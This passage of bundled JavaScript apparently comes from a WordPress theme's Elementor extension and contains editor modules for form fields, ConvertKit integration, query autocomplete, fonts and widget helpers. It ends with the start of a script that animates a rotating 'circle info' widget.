				var cacheKey = this.getCacheKey({
					type: 'data',
					controls: [apiKeyControlView.getControlValue(), customApikeyControlView.getControlValue()]
				});
				self.getConvertKitCache('data', 'convertkit_get_forms', cacheKey).done(function (data) {
					self.updateOptions('convertkit_form', data.data.forms);
					self.updateOptions('convertkit_tags', data.data.tags);
				});
			},
			onListUpdate: function onListUpdate() {
				this.updateFieldsMapping();
			},
			updateFieldsMapping: function updateFieldsMapping() {
				var controlView = this.getEditorControlView('convertkit_form');

				if (!controlView.getControlValue()) {
					return;
				}

				var remoteFields = [{
					remote_label: elementor.translate('Email'),
					remote_type: 'email',
					remote_id: 'email',
					remote_required: true
				}, {
					remote_label: elementor.translate('First Name'),
					remote_type: 'text',
					remote_id: 'first_name',
					remote_required: false
				}];
				this.getEditorControlView('convertkit_fields_map').updateMap(remoteFields);
			},
			getConvertKitCache: function getConvertKitCache(type, action, cacheKey, requestArgs) {
				if (_.has(this.cache[type], cacheKey)) {
					var data = {};
					data[type] = this.cache[type][cacheKey];
					return jQuery.Deferred().resolve(data);
				}

				requestArgs = _.extend({}, requestArgs, {
					service: 'convertkit',
					convertkit_action: action,
					api_key: this.getEditorControlView('convertkit_api_key_source').getControlValue(),
					custom_api_key: this.getEditorControlView('convertkit_custom_api_key').getControlValue()
				});
				return this.fetchCache(type, cacheKey, requestArgs);
			}
		});

		/***/ }),
	/* 419 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					placeholder = '';

				if (item.required) {
					required = 'required';
				}

				if (item.placeholder) {
					placeholder = ' placeholder="' + item.placeholder + '"';
				}

				if ('yes' === item.use_native_time) {
					itemClasses += ' elementor-use-native';
				}

				return '<input size="1" type="time"' + placeholder + ' class="elementor-field-textual elementor-time-field elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="form_field_' + i + '" id="form_field_' + i + '" ' + required + ' >';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/time', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 420 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					min = '',
					max = '',
					placeholder = '';

				if (item.required) {
					required = 'required';
				}

				if (item.min_date) {
					min = ' min="' + item.min_date + '"';
				}

				if (item.max_date) {
					max = ' max="' + item.max_date + '"';
				}

				if (item.placeholder) {
					placeholder = ' placeholder="' + item.placeholder + '"';
				}

				if ('yes' === item.use_native_date) {
					itemClasses += ' elementor-use-native';
				}

				return '<input size="1"' + min + max + placeholder + ' pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}" type="date" class="elementor-field-textual elementor-date-field elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="form_field_' + i + '" id="form_field_' + i + '" ' + required + ' >';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/date', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 421 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					label = '',
					checked = '';

				if (item.required) {
					required = 'required';
				}

				if (item.acceptance_text) {
					label = '<label for="form_field_' + i + '">' + item.acceptance_text + '</label>';
				}

				if (item.checked_by_default) {
					checked = ' checked="checked"';
				}

				return '<div class="elementor-field-subgroup">' + '<span class="elementor-field-option">' + '<input size="1" type="checkbox"' + checked + ' class="elementor-acceptance-field elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="form_field_' + i + '" id="form_field_' + i + '" ' + required + ' > ' + label + '</span></div>';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/acceptance', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 422 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					multiple = '',
					fieldName = 'form_field_';

				if (item.required) {
					required = 'required';
				}

				if (item.allow_multiple_upload) {
					multiple = ' multiple="multiple"';
					fieldName += '[]';
				}

				return '<input size="1"  type="file" class="elementor-file-field elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="' + fieldName + '" id="form_field_' + i + '" ' + required + multiple + ' >';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/upload', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 423 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					placeholder = '';

				if (item.required) {
					required = 'required';
				}

				if (item.placeholder) {
					placeholder = ' placeholder="' + item.placeholder + '"';
				}

				itemClasses = 'elementor-field-textual ' + itemClasses;
				return '<input size="1" type="' + item.field_type + '" class="elementor-field-textual elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="form_field_' + i + '" id="form_field_' + i + '" ' + required + ' ' + placeholder + ' pattern="[0-9()-]" >';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/tel', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 424 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = elementor.modules.controls.Repeater.extend({
			onBeforeRender: function onBeforeRender() {
				this.$el.hide();
			},
			updateMap: function updateMap(fields) {
				var self = this,
					savedMapObject = {};
				self.collection.each(function (model) {
					savedMapObject[model.get('remote_id')] = model.get('local_id');
				});
				self.collection.reset();

				_.each(fields, function (field) {
					var model = {
						remote_id: field.remote_id,
						remote_label: field.remote_label,
						remote_type: field.remote_type ? field.remote_type : '',
						remote_required: field.remote_required ? field.remote_required : false,
						local_id: savedMapObject[field.remote_id] ? savedMapObject[field.remote_id] : ''
					};
					self.collection.add(model);
				});

				self.render();
			},
			onRender: function onRender() {
				elementor.modules.controls.Base.prototype.onRender.apply(this, arguments);
				var self = this;
				self.children.each(function (view) {
					var localFieldsControl = view.children.last(),
						options = {
							'': '- ' + elementor.translate('None') + ' -'
						},
						label = view.model.get('remote_label');

					if (view.model.get('remote_required')) {
						label += '<span class="elementor-required">*</span>';
					}

					_.each(self.elementSettingsModel.get('form_fields').models, function (model, index) {
						// If it's an email field, add only email fields from thr form
						var remoteType = view.model.get('remote_type');

						if ('text' !== remoteType && remoteType !== model.get('field_type')) {
							return;
						}

						options[model.get('custom_id')] = model.get('field_label') || 'Field #' + (index + 1);
					});

					localFieldsControl.model.set('label', label);
					localFieldsControl.model.set('options', options);
					localFieldsControl.render();
					view.$el.find('.elementor-repeater-row-tools').hide();
					view.$el.find('.elementor-repeater-row-controls').removeClass('elementor-repeater-row-controls').find('.elementor-control').css({
						paddingBottom: 0
					});
				});
				self.$el.find('.elementor-button-wrapper').remove();

				if (self.children.length) {
					self.$el.show();
				}
			}
		});

		/***/ }),
	/* 425 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get3 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _fieldsRepeaterRow = _interopRequireDefault(__webpack_require__(426));

		module.exports = /*#__PURE__*/function (_elementor$modules$co) {
			(0, _inherits2.default)(_class, _elementor$modules$co);

			var _super = (0, _createSuper2.default)(_class);

			function _class() {
				(0, _classCallCheck2.default)(this, _class);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_class, [{
				key: "className",
				value: function className() {
					var classes = (0, _get3.default)((0, _getPrototypeOf2.default)(_class.prototype), "className", this).call(this);
					classes += ' elementor-control-type-repeater';
					return classes;
				}
			}, {
				key: "getChildView",
				value: function getChildView() {
					return _fieldsRepeaterRow.default;
				}
			}, {
				key: "initialize",
				value: function initialize() {
					var _get2,
						_this = this;

					for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
						args[_key] = arguments[_key];
					}

					(_get2 = (0, _get3.default)((0, _getPrototypeOf2.default)(_class.prototype), "initialize", this)).call.apply(_get2, [this].concat(args));

					var formFields = this.container.settings.get('form_fields');
					this.listenTo(formFields, 'change', function (model) {
						return _this.onFormFieldChange(model);
					}).listenTo(formFields, 'remove', function (model) {
						return _this.onFormFieldRemove(model);
					});
				}
			}, {
				key: "getFirstChild",
				value: function getFirstChild() {
					return this.children.findByModel(this.collection.models[0]);
				}
			}, {
				key: "lockFirstStep",
				value: function lockFirstStep() {
					var firstChild = this.getFirstChild();

					if ('step' !== firstChild.model.get('field_type')) {
						return;
					}

					var stepFields = this.collection.where({
						field_type: 'step'
					});

					if (1 < stepFields.length) {
						firstChild.toggleFieldTypeControl(false);
						firstChild.toggleTools(false);
					}

					firstChild.toggleSort(false);
				}
			}, {
				key: "onFormFieldChange",
				value: function onFormFieldChange(model) {
					var fieldType = model.changed.field_type;

					if (!fieldType || 'step' !== fieldType && 'step' !== model._previousAttributes.field_type) {
						return;
					}

					var isStep = 'step' === fieldType;
					this.children.findByModel(model).toggleStepField(isStep);
					this.onStepFieldChanged(isStep);
				}
			}, {
				key: "onFormFieldRemove",
				value: function onFormFieldRemove(model) {
					if ('step' === model.get('field_type')) {
						this.onStepFieldChanged(false);
					}
				}
			}, {
				key: "onStepFieldChanged",
				value: function onStepFieldChanged(isStep) {
					if (isStep) {
						this.lockFirstStep();
						return;
					}

					var stepFields = this.collection.where({
						field_type: 'step'
					});

					if (stepFields.length > 1) {
						return;
					}

					var firstChild = this.getFirstChild();

					if (1 === stepFields.length) {
						firstChild.toggleTools(true);
						firstChild.toggleFieldTypeControl(true);
						return;
					}

					firstChild.toggleSort(true);
				}
			}, {
				key: "onAddChild",
				value: function onAddChild(childView) {
					(0, _get3.default)((0, _getPrototypeOf2.default)(_class.prototype), "onAddChild", this).call(this, childView);

					if ('step' === childView.model.get('field_type')) {
						this.lockFirstStep();
						childView.toggleStepField(true);
					}
				}
			}]);
			return _class;
		}(elementor.modules.controls.Repeater);

		/***/ }),
	/* 426 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementor$modules$co) {
			(0, _inherits2.default)(_default, _elementor$modules$co);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "toggleFieldTypeControl",
				value: function toggleFieldTypeControl(show) {
					var fieldTypeModel = this.collection.findWhere({
							name: 'field_type'
						}),
						fieldTypeControl = this.children.findByModel(fieldTypeModel);
					fieldTypeControl.$el.toggle(show);
				}
			}, {
				key: "toggleStepField",
				value: function toggleStepField(isStep) {
					this.$el.toggleClass('elementor-repeater-row--form-step', isStep);
				}
			}, {
				key: "toggleTools",
				value: function toggleTools(show) {
					this.ui.removeButton.add(this.ui.duplicateButton).toggle(show);
				}
			}]);
			return _default;
		}(elementor.modules.controls.RepeaterRow);

		exports.default = _default;

		/***/ }),
	/* 427 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(428));

		var Module = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(Module, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(Module);

			function Module() {
				(0, _classCallCheck2.default)(this, Module);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Module, [{
				key: "onElementorInit",
				value: function onElementorInit() {
					$e.components.register(new _component.default());
				}
			}]);
			return Module;
		}(elementorModules.editor.utils.Module);

		exports.default = Module;

		/***/ }),
	/* 428 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var dataHooks = _interopRequireWildcard(__webpack_require__(429));

		var _default = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(_default, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "getNamespace",
				value: function getNamespace() {
					return 'screenshots';
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(dataHooks);
				}
			}]);
			return _default;
		}($e.modules.ComponentBase);

		exports.default = _default;

		/***/ }),
	/* 429 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "DeleteScreenshot", {
			enumerable: true,
			get: function get() {
				return _deleteScreenshot.DeleteScreenshot;
			}
		});

		var _deleteScreenshot = __webpack_require__(430);

		/***/ }),
	/* 430 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.DeleteScreenshot = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var DeleteScreenshot = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(DeleteScreenshot, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(DeleteScreenshot);

			function DeleteScreenshot() {
				(0, _classCallCheck2.default)(this, DeleteScreenshot);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(DeleteScreenshot, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var status = args.status,
						config = elementor.documents.getCurrent().config;
					return 'publish' === status && config.support_site_editor;
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'document/save/save::delete-screenshot';
				}
			}, {
				key: "apply",
				value: function apply() {
					var postId = elementor.documents.getCurrent().id;
					return elementorCommon.ajax.addRequest('screenshot_delete', {
						unique_id: "delete_screenshot_".concat(postId),
						data: {
							post_id: postId
						}
					});
				}
			}]);
			return DeleteScreenshot;
		}($e.modules.hookData.After);

		exports.DeleteScreenshot = DeleteScreenshot;
		var _default = DeleteScreenshot;
		exports.default = _default;

		/***/ }),
	/* 431 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(239));

		var _commands = __webpack_require__(181);

		var Module = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(Module, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(Module);

			function Module() {
				(0, _classCallCheck2.default)(this, Module);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Module, [{
				key: "onElementorInit",
				value: function onElementorInit() {
					var config = elementor.documents.getCurrent().config;

					if (config.support_site_editor) {
						$e.components.register(new _component.default());
						$e.data.deleteCache($e.components.get(_component.default.namespace), _commands.Templates.signature);
					}
				}
			}]);
			return Module;
		}(elementorModules.editor.utils.Module);

		exports.default = Module;

		/***/ }),
	/* 432 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			onElementorPreviewLoaded: function onElementorPreviewLoaded() {
				elementor.addControlView('Query', __webpack_require__(433));
			}
		});

		/***/ }),
	/* 433 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = elementor.modules.controls.Select2.extend({
			cache: null,
			isTitlesReceived: false,
			getSelect2Placeholder: function getSelect2Placeholder() {
				return {
					id: '',
					text: elementorPenci.translate('all')
				};
			},
			getControlValueByName: function getControlValueByName(controlName) {
				var name = this.model.get('group_prefix') + controlName;
				return this.elementSettingsModel.attributes[name];
			},
			getQueryDataDeprecated: function getQueryDataDeprecated() {
				return {
					filter_type: this.model.get('filter_type'),
					object_type: this.model.get('object_type'),
					include_type: this.model.get('include_type'),
					query: this.model.get('query')
				};
			},
			getQueryData: function getQueryData() {
				// Use a clone to keep model data unchanged:
				var autocomplete = elementorCommon.helpers.cloneObject(this.model.get('autocomplete'));

				if (_.isEmpty(autocomplete.query)) {
					autocomplete.query = {};
				} // Specific for Group_Control_Query


				if ('cpt_tax' === autocomplete.object) {
					autocomplete.object = 'tax';

					if (_.isEmpty(autocomplete.query) || _.isEmpty(autocomplete.query.post_type)) {
						autocomplete.query.post_type = this.getControlValueByName('post_type');
					}
				}

				return {
					autocomplete: autocomplete
				};
			},
			getSelect2DefaultOptions: function getSelect2DefaultOptions() {
				var self = this;

				return jQuery.extend(elementor.modules.controls.Select2.prototype.getSelect2DefaultOptions.apply(this, arguments), {
					ajax: {
						transport: function transport(params, success, failure) {
							var bcFormat = !_.isEmpty(self.model.get('filter_type'));
							var data = {},
								action = 'panel_posts_control_filter_autocomplete';

							if (bcFormat) {
								data = self.getQueryDataDeprecated();
								action = 'panel_posts_control_filter_autocomplete';
							} else {
								data = self.getQueryData();
							}

							data.q = params.data.q;
							return elementorPenci.ajax.addRequest(action, {
								data: data,
								success: success,
								error: failure
							});
						},
						data: function data(params) {
							return {
								q: params.term,
								page: params.page
							};
						},
						cache: true
					},
					escapeMarkup: function escapeMarkup(markup) {
						return markup;
					},
					minimumInputLength: 1
				});
			},
			getValueTitles: function getValueTitles() {
				var self = this,
					data = {},
					bcFormat = !_.isEmpty(this.model.get('filter_type'));
				var ids = this.getControlValue(),
					action = 'query_control_value_titles',
					filterTypeName = 'autocomplete',
					filterType = {};

				if (bcFormat) {
					filterTypeName = 'filter_type';
					filterType = this.model.get(filterTypeName);
					data.filter_type = filterType;
					data.object_type = self.model.get('object_type');
					data.include_type = self.model.get('include_type');
					data.unique_id = '' + self.cid + filterType;
					action = 'query_control_value_titles';
				} else {
					filterType = this.model.get(filterTypeName).object;
					data.get_titles = self.getQueryData().autocomplete;
					data.unique_id = '' + self.cid + filterType;
				}

				if (!ids || !filterType) {
					return;
				}

				if (!_.isArray(ids)) {
					ids = [ids];
				}

				elementorCommon.ajax.loadObjects({
					action: action,
					ids: ids,
					data: data,
					before: function before() {
						self.addControlSpinner();
					},
					success: function success(ajaxData) {
						self.isTitlesReceived = true;
						self.model.set('options', ajaxData);
						self.render();
					}
				});
			},
			addControlSpinner: function addControlSpinner() {
				this.ui.select.prop('disabled', true);
				this.$el.find('.elementor-control-title').after('<span class="elementor-control-spinner">&nbsp;<i class="eicon-spinner eicon-animation-spin"></i>&nbsp;</span>');
			},
			onReady: function onReady() {
				if (!this.isTitlesReceived) {
					this.getValueTitles();
				}
			}
		});

		/***/ }),
	/* 434 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			onElementorPreviewLoaded: function onElementorPreviewLoaded() {
				var EditButton = __webpack_require__(435);

				this.editButton = new EditButton();
			}
		});

		/***/ }),
	/* 435 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = function () {
			var self = this;

			self.onPanelShow = function (panel) {
				var model = panel.content.currentView.collection.findWhere({
					name: 'template_id'
				});
				self.templateIdView = panel.content.currentView.children.findByModelCid(model.cid); // Change Edit link on render & on change template.

				self.templateIdView.elementSettingsModel.on('change', self.onTemplateIdChange);
				self.templateIdView.on('render', self.onTemplateIdChange);
			};

			self.onTemplateIdChange = function () {
				var templateID = self.templateIdView.elementSettingsModel.get('template_id'),
					$editButton = self.templateIdView.$el.find('.elementor-edit-template');

				if (!templateID) {
					$editButton.remove();
					return;
				}

				var editUrl = ElementorConfig.home_url + '?p=' + templateID + '&elementor';

				if ($editButton.length) {
					$editButton.prop('href', editUrl);
				} else {
					$editButton = jQuery('<a />', {
						target: '_blank',
						class: 'elementor-button elementor-button-default elementor-edit-template',
						href: editUrl,
						html: '<i class="fa fa-pencil" /> ' + elementorPenci.config.i18n.edit_template
					});
					self.templateIdView.$el.find('.elementor-control-input-wrapper').after($editButton);
				}
			};

			self.init = function () {
				elementor.hooks.addAction('panel/open_editor/widget/template', self.onPanelShow);
			};

			self.init();
		};

		/***/ }),
	/* 436 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = elementorModules.editor.utils.Module.extend({
			onElementorInit: function onElementorInit() {
				elementor.channels.editor.on('section:activated', this.onSectionActivated);
			},
			onSectionActivated: function onSectionActivated(sectionName, editor) {
				var editedElement = editor.getOption('editedElementView');

				if ('flip-box' !== editedElement.model.get('widgetType')) {
					return;
				}

				var isSideBSection = -1 !== ['section_side_b_content', 'section_style_b'].indexOf(sectionName);
				editedElement.$el.toggleClass('elementor-flip-box--flipped', isSideBSection);
				var $backLayer = editedElement.$el.find('.elementor-flip-box__back');

				if (isSideBSection) {
					$backLayer.css('transition', 'none');
				}

				if (!isSideBSection) {
					setTimeout(function () {
						$backLayer.css('transition', '');
					}, 10);
				}
			}
		});

		/***/ }),
	/* 437 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			config: elementorPenci.config.shareButtonsNetworks,
			networksClassDictionary: {
				google: 'fab fa-google-plus',
				pocket: 'fab fa-get-pocket',
				email: 'fas fa-envelope'
			},
			getNetworkClass: function getNetworkClass(networkName) {
				var networkClass = this.networksClassDictionary[networkName] || 'fab fa-' + networkName;

				if (elementor.config.icons_update_needed) {
					networkClass = 'fa ' + networkClass;
				}

				return networkClass;
			},
			getNetworkTitle: function getNetworkTitle(buttonSettings) {
				return buttonSettings.text || this.config[buttonSettings.button].title;
			},
			hasCounter: function hasCounter(networkName, settings) {
				return 'icon' !== settings.view && 'yes' === settings.show_counter && this.config[networkName].has_counter;
			}
		});

		/***/ }),
	/* 438 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			onElementorInit: function onElementorInit() {
				var FontsManager = __webpack_require__(439);

				this.assets = {
					font: new FontsManager()
				};
			}
		});

		/***/ }),
	/* 439 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = elementorModules.Module.extend({
			_enqueuedFonts: [],
			_enqueuedTypekit: false,
			onFontChange: function onFontChange(fontType, font) {
				if ('custom' !== fontType && 'typekit' !== fontType) {
					return;
				}

				if (-1 !== this._enqueuedFonts.indexOf(font)) {
					return;
				}

				if ('typekit' === fontType && this._enqueuedTypekit) {
					return;
				}

				this.getCustomFont(fontType, font);
			},
			getCustomFont: function getCustomFont(fontType, font) {
				elementorPenci.ajax.addRequest('assets_manager_panel_action_data', {
					unique_id: 'font_' + fontType + font,
					data: {
						service: 'font',
						type: fontType,
						font: font
					},
					success: function success(data) {
						if (data.font_face) {
							elementor.$previewContents.find('style:last').after('<style type="text/css">' + data.font_face + '</style>');
						}

						if (data.font_url) {
							elementor.$previewContents.find('link:last').after('<link href="' + data.font_url + '" rel="stylesheet" type="text/css">');
						}
					}
				});

				this._enqueuedFonts.push(font);

				if ('typekit' === fontType) {
					this._enqueuedTypekit = true;
				}
			},
			onInit: function onInit() {
				elementor.channels.editor.on('font:insertion', this.onFontChange.bind(this));
			}
		});

		/***/ }),
	/* 440 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			onElementorPreviewLoaded: function onElementorPreviewLoaded() {
				var CommentsSkin = __webpack_require__(441);

				this.commentsSkin = new CommentsSkin();
			}
		});

		/***/ }),
	/* 441 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = function () {
			var self = this;

			self.onPanelShow = function (panel, model) {
				var settingsModel = model.get('settings'); // If no skins - set the skin to `theme_comments`.

				if (!settingsModel.controls._skin.default) {
					settingsModel.set('_skin', 'theme_comments');
				}
			};

			self.init = function () {
				elementor.hooks.addAction('panel/open_editor/widget/post-comments', self.onPanelShow);
			};

			self.init();
		};

		/***/ })
	/******/ ]);PK     N\؂6,  ,  %  inc/elementor/assets/js/circleinfo.jsnu [        function circleJs(id, circleMoving, movingTime, mouseEvent) {
    var circles = document.querySelectorAll('#' + id + ' .penci-cinfosub-circle');
    var circleContents = document.querySelectorAll('#' + id + '  .penci-cinfoitem');
    var parent = document.querySelector('#' + id + ' .penci-cinfoinner ');

    var i = 2;
    var prevNowPlaying = null;

    if (movingTime <= 0) {
        movingTime = '100000000000';
    }

    if (circleMoving === false) {
        movingTime = '100000000000';
    }

    function myTimer() {
        //console.log('setInterval');
        var dataTab = jQuery(' #' + id + ' .penci-cinfosub-circle.active').data('circle-index');
        var totalSubCircle = jQuery('#' + id + ' .penci-cinfosub-circle').length; // here

        if (dataTab > totalSubCircle || i > totalSubCircle) {
            dataTab = 1;
            i = 1;
        }

        jQuery('#' + id + '  .penci-cinfosub-circle').removeClass('active');
        jQuery('#' + id + ' .penci-cinfosub-circle.active').removeClass('active', this);
        jQuery('#' + id + '  ' + '[data-circle-index=\'' + i + '\']').addClass('active');
        jQuery('#' + id + '  .penci-cinfoitem').removeClass('active');
        jQuery('#' + id + '  .icci' + i).addClass('active');
        i++;
        var activeIcon = '#' + id + ' .penci-cinfosub-circle i,' + '#' + id + ' .penci-cinfosub-circle svg';
        jQuery(activeIcon).css({
            'transform': 'rotate(' + (360 - (i - 2) * 36) + 'deg)',
            'transition': '2s'
        });
        jQuery('#' + id + ' .penci-cinfoinner').css({
            'transform': 'rotate(' + ((i - 2) * 36) + 'deg) ',
            'transition': '1s'
        });

    }
    if (circleMoving === true) {
        var prevNowPlaying = setInterval(myTimer, movingTime);
    }
    if (circleMoving === false) {
        clearInterval(prevNowPlaying);
    }


    // active class toggle methods
    var removeClasses = function removeClasses(nodes, value) {
        var nodes = nodes;
        var value = value;
        if (nodes) return nodes.forEach(function (node) {
            return node.classList.contains(value) && node.classList.remove(value);
        });
        else return false;
    };
    var addClass = function addClass(nodes, index, value) {
        var nodes = nodes;
        var index = index;
        var value = value;
        return nodes ? nodes[index].classList.add(value) : 0;
    };
    var App = {
        initServicesCircle: function initServicesCircle() {
            // info circle
            if (parent) {
                var spreadCircles = function spreadCircles() {
                    // spread the sub-circles around the circle
                    var parent = document.querySelector('#' + id + ' .penci-cinfoinner ').getBoundingClientRect();
                    var centerX = 0;
                    var centerY = 0;
                    Array.from(circles).reverse().forEach(function (circle, index) {
                        var circle = circle;
                        var index = index;
                        var angle = index * (360 / circles.length);
                        var x = centerX + (parent.width / 2) * Math.cos((angle * Math.PI) / 180);
                        var y = centerY + (parent.height / 2) * Math.sin((angle * Math.PI) / 180);
                        circle.style.transform = 'translate3d(' + parseFloat(x).toFixed(5) + 'px,' + parseFloat(y).toFixed(5) + 'px,0)';
                    });
                };

                spreadCircles();

                var resizeTimer = void 0;
                window.addEventListener('resize', function () {
                    clearTimeout(resizeTimer);
                    resizeTimer = setTimeout(function () {
                        spreadCircles();
                    }, 50);
                });
                circles.forEach(function (circle, index) {
                    var circle = circle;
                    var index = index;
                    var circlesToggleFnc = function circlesToggleFnc() {
                        this.index = circle.dataset.circleIndex;
                        if (!circle.classList.contains('active')) {
                            removeClasses(circles, 'active');
                            removeClasses(circleContents, 'active');
                            addClass(circles, index, 'active');
                            addClass(circleContents, index, 'active');
                        }
                    };
                    if (mouseEvent === 'mouseover') {
                        circle.addEventListener('mouseover', circlesToggleFnc, true);
